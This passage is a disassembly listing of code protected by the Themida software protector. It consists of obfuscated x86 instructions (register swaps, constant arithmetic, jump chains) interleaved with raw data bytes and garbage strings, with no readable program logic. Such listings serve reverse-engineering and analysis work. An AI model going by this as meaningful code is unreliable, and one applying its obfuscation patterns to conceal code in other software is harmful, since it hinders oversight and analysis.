		dd 0FFB09EE9h, 0FFF789FFh, 815E2434h, 4C4h, 24048B00h
		dd 1D8FE9h, 24248900h, 4240483h, 81240C8Bh, 4C4h, 0AB85000h
		dd 4043681Bh, 58F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_558375:				; CODE XREF: Themida_:0055BA97j
		xor	[esp], esi
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		not	ebp
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		mov	eax, [esp]
		push	ebx
		jmp	loc_55505D
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 45FDE9D0h, 515A0000h, 97464FB9h, 614EE958h, 0E9AC0000h
		dd 0FFFFA7FFh, 625CE381h, 0EB81394Eh, 0A28FC0BCh, 0A7D8E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5583C2:				; CODE XREF: Themida_:00557671j
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_55AB7B
; ---------------------------------------------------------------------------


loc_5583D1:				; CODE XREF: Themida_:0055A5B3j
		pop	eax
		add	esi, eax
		sub	esi, 21A4510Dh
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		pop	esi
		mov	eax, ecx
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 6043330Bh
		jmp	loc_5535A6
; ---------------------------------------------------------------------------
		db 68h,	66h, 7Ah
		dd 4890000h, 0E0895024h, 0FFC785E9h, 2C581FFh, 0E9000000h
		dd 0FFFFB4E8h
; ---------------------------------------------------------------------------


loc_558434:				; CODE XREF: Themida_:00555297j
		pop	edx
		movzx	eax, al
		jmp	loc_55D878
; ---------------------------------------------------------------------------


loc_55843D:				; CODE XREF: Themida_:0055DDF8j
		xor	eax, 475620Eh
		mov	esi, eax
		pop	eax
		jmp	loc_55D965
; ---------------------------------------------------------------------------
		dw 5BBEh
		dd 833B042Bh, 5DE904ECh, 8600003Ch, 0C2FE2414h,	5A241486h
		dd 0F6B1C280h, 0F4C280D2h, 0FFAC70E9h, 0E9C701FFh, 2939h
		dd 0E24BE9ACh, 9C51FFFFh, 0FFF879E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558481:				; CODE XREF: Themida_:005537E7j
		and	esi, 0B6C2DF7h
		push	eax
		jmp	loc_557E4E
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 87h
		dd 0C15D2414h, 0F58108EDh, 64150710h, 8E9EB01h,	80000004h
		dd 4EE9ADC6h, 8B00005Dh, 0C481240Ch, 4,	0FFB475E9h, 32FF64FFh
		dd 0FFA34DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5584C1:				; CODE XREF: Themida_:00555F42j
		push	dword ptr [esp]
		jmp	loc_556C7E
; ---------------------------------------------------------------------------
		db 1, 0EEh, 0E9h
		dd 3BF4h, 5E2434FFh, 30ABE9h, 0C0F58100h, 8951FE32h, 3BE95DEAh
		dd 29FFFFC6h, 585205D8h, 1B682E7Fh, 89000036h, 0E68241Ch
		dd 5B61FF16h, 0E956E3D1h, 0FFFFD442h, 677EF0B8h, 4F360D74h
		dd 5BE95FE1h, 8000002Ah, 0CE0006C6h, 5906EE80h,	80B5CE80h
		dd 0EE8017EEh, 0D7C680A2h, 7DE9F028h, 0FF000017h, 0C8B2434h
		dd 4C48124h, 83000000h,	348904ECh, 108BE924h, 0E9950000h
		dd 0FFFFAB32h
; ---------------------------------------------------------------------------


loc_55854C:				; CODE XREF: Themida_:00558CB6j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 38942CABh
		jmp	loc_55B05D
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0A4h
		dd 3300000Fh, 248B2414h, 0E9F2E924h, 0E089FFFFh, 66F2BD55h
		dd 0F7451722h, 57F581DDh, 8114346Eh, 253ABEC5h,	6BB5316h
		dd 0E952B728h, 0FFFFCC0Bh
; ---------------------------------------------------------------------------


loc_55859C:				; CODE XREF: Themida_:0055E1E5j
		sub	[esp], dl
		mov	dl, [esp]
		jmp	loc_554589
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 87000000h,	0D3E92404h, 4FFFFE3h, 240C8B90h
		dd 4725E9h, 0AFBD5500h,	814C4D71h, 0C607FCDh, 0D117E933h
		dd 2C80FFFFh, 1C280D24h, 24048024h, 241C8A0Dh, 55BEE951h
		dd 0E9520000h, 4236h, 8B5515Bh,	0FFF4D9E9h, 65E959FFh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585FF:				; CODE XREF: Themida_:0055A16Aj
		add	ecx, 20D1262h
		add	ebx, ecx
		pop	ecx
		jmp	loc_558F0B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 59BA2414h, 0C12CB240h, 95E902EAh,	68000023h
		dd 6362h, 83242489h, 58042404h,	4BA52h,	0D0010000h, 0E924148Bh
		dd 2CA5h, 8B24048Fh, 2C892424h,	52CD8924h, 895B5553h, 241C8BDAh
		dd 4C481h, 10890000h, 2434FF5Ah, 0CAD0E95Dh, 468FFFFh
		dd 8B000000h, 0EFE92434h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558673:				; CODE XREF: Themida_:0055BED7j
		pop	ebp
		add	ebx, 2B47197Ah
		dec	ebx
		jmp	loc_556B5D
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 6FE92434h, 8100005Fh, 4C3h, 4C38300h, 5C241C87h
		dd 31C73148h, 3454E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5586A2:				; CODE XREF: Themida_:00555530j
		add	esp, 4
		and	ebp, 687F5528h
		push	7F46h
		mov	[esp], edi
		mov	edi, 1BB853DEh
		xor	ebp, edi
		pop	edi
		jmp	loc_553413
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1AE92434h, 54FFFFE5h, 4BD555Bh, 1000000h, 18BEE9EBh
		dd 50550000h, 315173B8h, 24440136h, 58A7E904h, 0D72C0000h
		dd 8A2C110Ch, 8058C288h, 0C18034C2h, 12E98002h,	0E950D100h
		dd 0FFFFDBE7h, 455EE981h, 515F7D02h, 42474FFh, 24048F59h
		dd 45E7E9h, 241C8700h, 1489665Ch, 0A64FE924h, 0DB68FFFFh
		dd 8900003Ch, 0B3E92404h, 5000005h, 59E8667Bh, 1CBE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55873E:				; CODE XREF: Themida_:0055E68Fj
		pop	eax
		neg	edi
		push	eax
		mov	eax, 3D3B544Ch
		jmp	loc_55A00B
; ---------------------------------------------------------------------------
		dd 5926C181h, 0D1010762h, 5926E981h, 0BA520762h, 22595A65h
		dd 5A5AD101h, 4BE56h, 0F1010000h, 3A82E95Eh, 0B9510000h
		dd 2DC53418h, 0C5341ABFh, 8BCF292Dh, 0E1E9240Ch, 1000031h
		dd 5B04245Ch, 0FFA07DE9h, 2474FFFFh, 48F5D04h, 24248B24h
		dd 24043166h, 0A068E99Ch, 24B8FFFFh, 55231512h,	30870BDh
		dd 3CFFE949h, 8B660000h, 6855240Ch, 62DEh, 49AEE9h, 43C58100h
		dd 5060A24Fh, 0FC36E9B8h, 58C5096Bh, 0C013C581h, 58E90401h
		dd 0FF00004Ah, 669D1C77h, 24041058h, 4747E99Ch,	0E9570000h
		dd 0FFFFA9C4h, 0E924248Bh, 305Bh, 0E9C1D1F7h, 36C18102h
		dd 56213EC2h, 8B7C3ABEh, 41AAE913h, 34FF0000h, 0EC835B24h
		dd 49A9E904h, 51660000h, 478DE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558826:				; CODE XREF: Themida_:0055AF16j
		push	ebx
		push	ebp
		mov	ebp, 2B15801h
		jmp	loc_554F89
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 6624248Bh, 0E924048Bh, 0FFFFC23Fh
; ---------------------------------------------------------------------------


loc_558844:				; CODE XREF: Themida_:005555EDj
		push	ecx
		jmp	loc_55816D
; ---------------------------------------------------------------------------
		dw 335Dh
		dd 0C6E92404h, 68FFFFF6h, 58B2h, 68241489h, 76A2h, 0BD242C89h
		dd 4A8A68E9h, 0FFEBE7E9h, 0A0E95CFFh, 81000008h, 266861F6h
		dd 11C381F4h, 115DE6Ch,	0E093E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558886:				; CODE XREF: Themida_:0055CD62j
		xor	ecx, ebp
		pop	ebp
		jmp	loc_556E35
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0E38h, 8F16B1B9h, 5C5BBA32h,	0CA295CC0h, 5E906859h
		dd 8FE90000h, 5DFFFFD0h, 2626BF57h, 0E7C12E9Eh,	2F25E906h
		dd 34FF0000h, 0C4835B24h, 4EF8104h, 87000000h, 895C243Ch
		dd 0A1E9241Ch, 0E900004Eh, 0FFFF9F36h, 89BFF181h, 0CA31BA30h
		dd 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	0F0F0E924h
		dd 77FFFFFFh, 0B9515638h, 57B44ACCh, 0FFDAB0E9h, 55C9BEFFh
		dd 5B05324Ch, 0E90FEF67h, 5CAAh, 6C543CBDh, 1C58333h, 0C581D5F7h
		dd 6C2C4C2Eh, 450368h, 24348900h, 0FA2DAEBEh, 20F68149h
		dd 93B6C22h, 0F5815EF5h, 4C75E4C4h, 15DEE01h, 1BD9E9DEh
		dd 815E0000h, 3F0C90C1h, 0E9C1014Ch, 0FFFFDF4Eh, 0F66E9F6h
		dd 0AE9CCB6h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558967:				; CODE XREF: Themida_:0055B1AAj
		xor	dword ptr [esp], 2B2B05C2h
		jmp	loc_553734
; ---------------------------------------------------------------------------


loc_558973:				; CODE XREF: Themida_:0055A2BEj
		add	edx, 56584419h
		sub	esi, edx
		jmp	loc_557769
; ---------------------------------------------------------------------------


loc_558980:				; CODE XREF: Themida_:00559074j
		pop	esi
		jmp	loc_555AD0
; ---------------------------------------------------------------------------


loc_558986:				; CODE XREF: Themida_:0055C1E1j
		xchg	edx, ebx
		sub	esp, 4
		mov	[esp], edx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	edx, [esp]
		push	eax
		jmp	loc_55E2D1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 1CCBBF57h, 7C294E58h, 15F0824h, 81042454h, 0CB042444h
		dd 5A4E581Ch, 8324148Bh, 0C28104C4h, 4,	0F920E950h, 5450FFFFh
		dd 8124048Bh, 4C4h, 0C50BE900h,	2BE9FFFFh, 5CFFFF9Eh, 0E92424D3h
		dd 0FFFF9E22h
; ---------------------------------------------------------------------------


loc_5589EC:				; CODE XREF: Themida_:0055C8CBj
		push	edx
		mov	edx, 0D030D4Bh
		xor	edi, edx
		jmp	loc_55E491
; ---------------------------------------------------------------------------


loc_5589F9:				; CODE XREF: Themida_:00554A78j
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 8A77C195h, 2C0CD005h, 75E92D50h, 9FE92485h, 0B8FFFFF1h
		dd 4, 8758C601h, 248B2434h, 7BDB2D24h, 0A568258Ah, 8900006Ah
		dd 19B82404h, 0D157166Fh, 52D8F7E0h, 5A9DE9h, 18A9BF00h
		dd 0AABB7DAFh, 297DAF18h, 0DE295FFBh, 0FFB337E9h, 405FFh
		dd 0D680000h, 89000067h, 2BB241Ch, 55000000h, 832E952h
		dd 0D1010000h, 4109E9h,	9D98E900h, 0A1BDFFFFh, 0B861811Fh
		dd 61811FA5h, 0E95DE829h, 29B8h, 8B2434FFh, 0C4832404h
		dd 4C48304h, 0E2895255h, 4C281h, 0EA830000h, 24148704h
		dd 2434895Ch, 39FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558AAD:				; CODE XREF: Themida_:005547B6j
		mov	edx, 7328758Bh
		sub	eax, edx
		pop	edx
		sub	eax, ebx
		add	eax, 7328758Bh
		jmp	loc_555B98
; ---------------------------------------------------------------------------
		db 66h,	0BBh, 5Fh
		dd 0D3F76607h, 0E5E38166h, 0E3C16659h, 0E3816604h, 0F7662C70h
		dd 0EB8166D3h, 166A29Dh, 2D665BD8h, 29664189h, 0BD6655D8h
		dd 81665B85h, 667752CDh, 0C1B2C581h, 0FFAAE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558AFD:				; CODE XREF: Themida_:00558E52j
		push	ebx
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55975F
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 0E9E18924h, 115Dh
; ---------------------------------------------------------------------------


loc_558B24:				; CODE XREF: Themida_:00553C35j
		add	dword ptr [esp+4], 23D86B5Ah
		pop	edx
		pop	ecx
		push	eax
		mov	eax, 38A03D76h
		push	esi
		mov	esi, 144917C3h
		sub	esi, 3E3B6C15h
		xor	esi, 0A08EA658h
		or	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_55D540
; ---------------------------------------------------------------------------


loc_558B51:				; CODE XREF: Themida_:005555ACj
		mov	[esp], edx
		push	edi
		mov	edi, ebx
		push	ebp
		mov	ebp, edi
		mov	edx, ebp
		pop	ebp
		pop	edi
		push	7967h
		mov	[esp], esi
		push	eax
		mov	eax, edx
		mov	esi, eax
		pop	eax
		jmp	loc_55E558
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 19h
		dd 0C1051814h, 26E908EBh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B7F:				; CODE XREF: Themida_:0055B288j
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	edx
		mov	edx, 346A3D27h
		jmp	loc_557E58
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 5AD408CDh, 0E913F480h, 2B21h, 0D8007A04h, 45B7A2Ch
		dd 9DFAE9D0h, 5966FFFFh, 0B4505B66h, 51C4FE28h,	0EC81D7B1h
		dd 2, 24148966h, 0B1E9CE88h, 68000009h,	567Fh, 89241489h
		dd 0BB5356E2h, 14C014FCh, 27E9DE89h, 81FFFFF4h,	0C9585CEAh
		dd 0ECB9516Ch, 29420148h, 0B6E959CAh, 0BBFFFFE4h, 13B85E5Eh
		dd 0E95BDA01h, 0FFFFBE0Ch, 5D2414F7h, 2ABF5795h, 2931CB4Dh
		dd 0E0C15FF8h, 53CAE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558C1A:				; CODE XREF: Themida_:005544DDj
		pop	esi
		jmp	loc_55CF0A
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 0FFFFAC00h, 0E92434FFh
		dd 2471h
; ---------------------------------------------------------------------------


loc_558C3C:				; CODE XREF: Themida_:00556CF6j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_554295
; ---------------------------------------------------------------------------


loc_558C48:				; CODE XREF: Themida_:00553A6Cj
		push	ecx
		jmp	loc_554010
; ---------------------------------------------------------------------------


loc_558C4E:				; CODE XREF: Themida_:00556948j
		xor	edx, edi
		pop	edi
		shl	edx, 7
		add	edx, 2ADBE39Ch
		jmp	loc_55D61E
; ---------------------------------------------------------------------------


loc_558C5F:				; CODE XREF: Themida_:0055A28Cj
		add	edx, 4
		jmp	loc_55D86F
; ---------------------------------------------------------------------------


loc_558C67:				; CODE XREF: Themida_:00552EC5j
		mov	ecx, 61F7008Ch
		and	edx, ecx
		pop	ecx
		sub	edx, 0C4B080C1h
		mov	edi, edx
		jmp	loc_5549DA
; ---------------------------------------------------------------------------


loc_558C7C:				; CODE XREF: Themida_:0055C440j
		push	ecx
		mov	ecx, 1CED3515h
		jmp	loc_5540AF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 40CE95Ch, 0E9810000h, 2220FFFCh, 0DEE9CE01h
		dd 300004Fh, 0AC685901h, 89000014h, 5BE92404h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558CB3:				; CODE XREF: Themida_:0055BCECj
		push	esi
		mov	esi, esp
		jmp	loc_55854C
; ---------------------------------------------------------------------------


loc_558CBB:				; CODE XREF: Themida_:0055AD07j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B5E0
; ---------------------------------------------------------------------------
		db 53h
		dd 7F6821B7h, 8900002Ch, 22B3241Ch, 2AE9C3FEh
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558CDB:				; CODE XREF: Themida_:0055B282j
		add	ebx, 4
		jmp	loc_55B6B3
; ---------------------------------------------------------------------------
		dw 0F1B8h
		dd 89179160h, 0EB8158C3h, 0BE42E488h, 0C37EA81h, 0DA013FDFh
		dd 0C37C281h, 815B3FDFh, 8E6704EAh, 81C20124h, 8E6704C2h
		dd 4EC8124h, 0E9000000h, 0FFFFB2B4h, 5B41E281h,	10E979F1h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D27:				; CODE XREF: Themida_:00558D3Fj
		mov	edx, 6A6A21C1h
		xor	esi, edx
		pop	edx
		mov	ebx, esi
		jmp	loc_5546AC
; ---------------------------------------------------------------------------


loc_558D36:				; CODE XREF: Themida_:0055983Fj
		shr	esi, 1
		shr	esi, 6
		shl	esi, 5
		push	edx
		jmp	loc_558D27
; ---------------------------------------------------------------------------
aFR8sK		db 'f¹r8éœK',0
		db 0
; ---------------------------------------------------------------------------


loc_558D4D:				; CODE XREF: Themida_:00553258j
		add	ecx, edi
		add	ecx, 5AC4628Fh
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 2
		push	7542h
		mov	[esp], edi
		mov	edi, ebx
		mov	eax, edi
		push	dword ptr [esp]
		jmp	loc_55DA79
; ---------------------------------------------------------------------------
aHSsds		db 'hÒSèdé',0
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D7B:				; CODE XREF: Themida_:005582C7j
		push	0F36h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_559C42
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0CDh
		dd 54F58159h, 120FC62h,	2434FFEBh, 4C4815Dh, 68000000h
		dd 385h, 0E9243489h, 54BFh
; ---------------------------------------------------------------------------


loc_558DB8:				; CODE XREF: Themida_:0055BDFAj
		pop	esp
		mov	[esp], edx
		pop	ebx
		jmp	loc_5573AF
; ---------------------------------------------------------------------------


loc_558DC2:				; CODE XREF: Themida_:00559E0Aj
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55BF3E
; ---------------------------------------------------------------------------


loc_558DD2:				; CODE XREF: Themida_:0055E03Aj
		add	edx, 3CD5D77Ah
		mov	ecx, edx
		jmp	loc_552F91
; ---------------------------------------------------------------------------
aNAsSsvh	db '³n Ù[€áÞSé¢H',0
		dd 0FFCA8100h, 42544411h, 37F2E9h, 1C77FF00h, 419589Dh
		dd 0C5E99C24h, 81FFFFC9h, 602AB7C1h, 0E5B85056h, 3167EF5Ah
		dd 0F18158C1h, 960EDD7h, 0C8BCB31h, 4C48324h, 0DDFE9h
		dd 4EB8300h, 63E9h, 606A6800h, 6DE93DDEh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E3B:				; CODE XREF: Themida_:0055D64Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_552CA4
; ---------------------------------------------------------------------------


loc_558E4A:				; CODE XREF: Themida_:0055DCB1j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_558AFD
; ---------------------------------------------------------------------------


loc_558E57:				; CODE XREF: Themida_:005566EDj
		push	esi
		mov	esi, 0FA3F1118h
		sub	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		mov	edi, [esp]
		jmp	loc_55434C
; ---------------------------------------------------------------------------
aVich		db 'V‰æhÖ/',0
		dw 8900h
		dd 0BA52242Ch, 23034C44h, 1192CA81h, 0EA81175Bh, 696813ADh
		dd 0FFBC23E9h, 0E9C300FFh, 35B1h, 2474FF53h, 241C8B04h
		dd 4C481h, 48F0000h, 24248B24h,	0E9240489h, 0FFFF995Eh
		dd 8B2434FFh, 0E9552414h, 0FFFFCF32h
; ---------------------------------------------------------------------------


loc_558EBC:				; CODE XREF: Themida_:00553BECj
		push	eax
		mov	eax, esp
		jmp	loc_5536B5
; ---------------------------------------------------------------------------
		dd 815AD089h, 2075CEC2h, 81C20102h, 2075CEEAh, 24048B02h
		dd 504C483h, 70A3002Fh,	2BD86855h, 0E95D74F7h, 1240h, 81E1B252h
		dd 4ECh, 24148900h, 50661BB2h, 0FFEDA8E9h, 5AB450FFh, 5BE94EB2h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558F0B:				; CODE XREF: Themida_:00558608j
		and	eax, ebx
		jmp	loc_55B0FD
; ---------------------------------------------------------------------------
		dw 5859h
		dd 0FFEF2CE9h, 3BEB80FFh, 0C3005858h, 0FFE5D8E9h, 0E68956FFh
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0F7E8E953h, 0C481FFFFh
		dd 4, 2C58358h,	0FFAB37E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F4D:				; CODE XREF: Themida_:0055DC1Bj
		sub	ebp, edx
		jmp	loc_55DCAB
; ---------------------------------------------------------------------------
		dd 8133F0BFh, 5FF80128h, 0A3EC2D48h, 0C1896BE1h, 1A2AE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558F6A:				; CODE XREF: Themida_:0055CA7Cj
		sub	ecx, 6AD43A2Eh
		sub	ecx, eax
		add	ecx, 6AD43A2Eh
		pop	eax
		neg	ecx
		jmp	loc_55D3D1
; ---------------------------------------------------------------------------
		dd offset aOftwareElec_16+23h
		dd 4E1EE900h, 34330000h, 24343124h, 8B243433h, 49E92424h
		dd 56FFFFAFh, 1EA5E953h, 0E8C10000h, 34E3E904h,	4890000h
		dd 5585424h, 4,	8704E883h, 895C2404h, 0EC812404h, 4, 24048F54h
		dd 4240483h, 0CEE95158h, 83FFFFB4h, 0D6E904C4h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558FDB:				; CODE XREF: Themida_:0055C7B2j
		xor	eax, 67F07E84h
		or	eax, eax
		jnz	loc_552DD8
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5566BD
; ---------------------------------------------------------------------------
		dd 0D8F6BD24h, 83E9BA34h, 0F7FFFFACh, 8FB951D2h, 0E902BB5Ch
		dd 0FFFFF8B8h
; ---------------------------------------------------------------------------


loc_559020:				; CODE XREF: Themida_:0055DA09j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_55819E
; ---------------------------------------------------------------------------
aAKsy		db 'Ðê€ÂªéY',0Dh,0
		align 2
		dw 30ACh
		dd 0FC7DE9D8h, 0EA81FFFFh, 4, 5C241487h, 0B3241C89h, 0E32C61h
		dd 8BE304D8h, 0C483241Ch, 66682C04h, 0E9483668h, 2E1Dh
; ---------------------------------------------------------------------------


loc_559070:				; CODE XREF: Themida_:005574E4j
		pop	ebx
		pop	eax
		push	esi
		push	esp
		jmp	loc_558980
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 88h
		dd 14E9016h, 32F0E9F3h,	0F7810000h, 3DDE6269h, 95FF889h
		dd 0E9581C47h, 0FFFF9776h, 49B968h, 0F2B7E900h,	0C380FFFFh
		dd 9A1AE98Eh, 0E981FFFFh, 308F2A5Fh, 6DE18141h,	5548D709h
		dd 0FFAE98E9h, 0C4835AFFh, 0E641E904h, 0C31FFFFh, 240C3324h
		dd 0D324248Bh, 0E99C242Ch, 0FFFF9736h, 5024048Bh, 0FFA6D1E9h
		dd 5FF989FFh, 690E981h,	0BA529D19h, 14496225h, 0FFBC11E9h
		dd 4A6866FFh, 0C896644h, 0E90BB524h, 0FFFF99DDh, 86E9E328h
		dd 3100002Eh, 0F4E959CFh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55C66D
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 2EB8100h, 87000000h, 665C241Ch, 81240489h, 4ECh
		dd 241C8900h, 0FB40DB7h, 885BFC30h, 48B66E1h, 2C48124h
		dd 80000000h, 86E926E9h, 58FFFFA2h, 5B66F830h, 0B60FC330h
		dd 8734FFC0h, 0FF9695E9h, 241489FFh, 8BE99C50h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559183:				; CODE XREF: Themida_:005537C7j
		sub	[esp+4], ecx
		jmp	loc_55BF58
; ---------------------------------------------------------------------------


loc_55918C:				; CODE XREF: Themida_:00553541j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 5A0C2EDEh
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		not	esi
		xchg	esi, edx
		push	eax
		mov	eax, 86597C71h
		sub	edx, eax
		pop	eax
		push	73EEh
		mov	[esp], eax
		push	edx
		jmp	loc_55DDF0
; ---------------------------------------------------------------------------
		db 4, 47h, 2Ch
		dd 0E18951A6h, 4C181h, 0E9810000h, 4, 5C240C87h, 0B6241489h
		dd 0A82FE94Ch, 0C329FFFFh, 5D7F68h, 0CC43E900h,	0C281FFFFh
		dd 4, 54EE68h, 241C8900h, 75F1BA52h, 0F3BB47A9h, 3147A975h
		dd 24148BD3h, 4C481h, 0C2810000h, 231263Ah, 0DE9DA01h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559217:				; CODE XREF: Themida_:00553C07j
					; Themida_:0055D986j
		push	ecx
		push	edi
		jmp	loc_5535BA
; ---------------------------------------------------------------------------
aIPsnl		db '‰<$PéNL',0
		dw 0C100h
		dd 0BA5204E3h, 259D621Eh, 148BD329h, 4C48124h, 0D1000000h
		dd 3E74E9EBh, 0F6810000h, 89A08A8h, 0FFC4CDE9h,	0CD2D5BFFh
		dd 81E11128h, 6D67F5C3h, 1179E97Bh, 34FF0000h, 240C8B24h
		dd 4C481h, 0E9500000h, 0FFFFC920h, 5E2434FFh, 4C481h, 0EC810000h
		dd 4, 0FFE1C7E9h, 48966FFh, 0D8B024h, 285866C7h, 0D8EF80EFh
		dd 0E9F82859h, 956h, 652940BAh,	5AD5897Ah, 0FFE830E9h
		dd 0C33059FFh, 8DC0B60Fh, 89538704h, 4C381E3h, 83000000h
		dd 348904ECh, 295E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5592C6:				; CODE XREF: Themida_:0055C69Aj
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55C9FC
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 24248924h, 4240483h, 1011E9h, 242C8900h
		dd 0C578BFBDh, 3E5C162h, 0F581D5F7h, 762E40FEh,	0E95D5755h
		dd 4F45h, 0E923B252h, 2ABAh
; ---------------------------------------------------------------------------


loc_55930C:				; CODE XREF: Themida_:00554151j
		sub	ecx, 93A34EA6h
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		push	esi
		mov	esi, 610833DDh
		dec	esi
		add	esi, 9EF7CC28h
		jmp	loc_55939C
; ---------------------------------------------------------------------------
		dd offset dword_59CA00
		dw 8BD0h
		dd 0C4832414h, 0BDCAE904h, 0C3B4FFFFh, 0FFA92EE9h, 0E9CD31FFh
		dd 0FFFFCDD4h, 0FF241489h, 8B042474h, 59E92414h, 0F7000043h
		dd 81D3F7DBh, 0D6486AF3h, 0EB814B44h, 0BB54A075h, 15BDE29h
		dd 0E9555EF2h, 1C88h
; ---------------------------------------------------------------------------


loc_559374:				; CODE XREF: Themida_:0055E799j
		sub	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_554DE4
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0E3682414h, 89000009h, 59B42404h, 0E929C480h, 42C9h
; ---------------------------------------------------------------------------


loc_55939C:				; CODE XREF: Themida_:00559325j
		add	edi, esi
		jmp	loc_553D10
; ---------------------------------------------------------------------------
		db 81h
		dd 0C35485E9h, 4F70E916h, 0EC810000h, 4, 2283E9h, 48B6600h
		dd 0E2895224h, 0FFFE21E9h, 9444E9FFh, 0BF57FFFFh, 46CB4045h
		dd 0D15FFD31h, 5FF581E5h, 29967CB6h, 0D8015DE8h, 0B61FD705h
		dd 1AC1E90Fh, 0C4810000h, 4, 1806C181h,	0CE94480h, 5EFFFFFAh
		dd 4B850h, 0C6010000h, 0FE95058h, 8B000010h, 0C8852424h
		dd 93F8E99Ch, 0C31FFFFh, 3774E924h, 0F2010000h,	6AE9555Eh
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


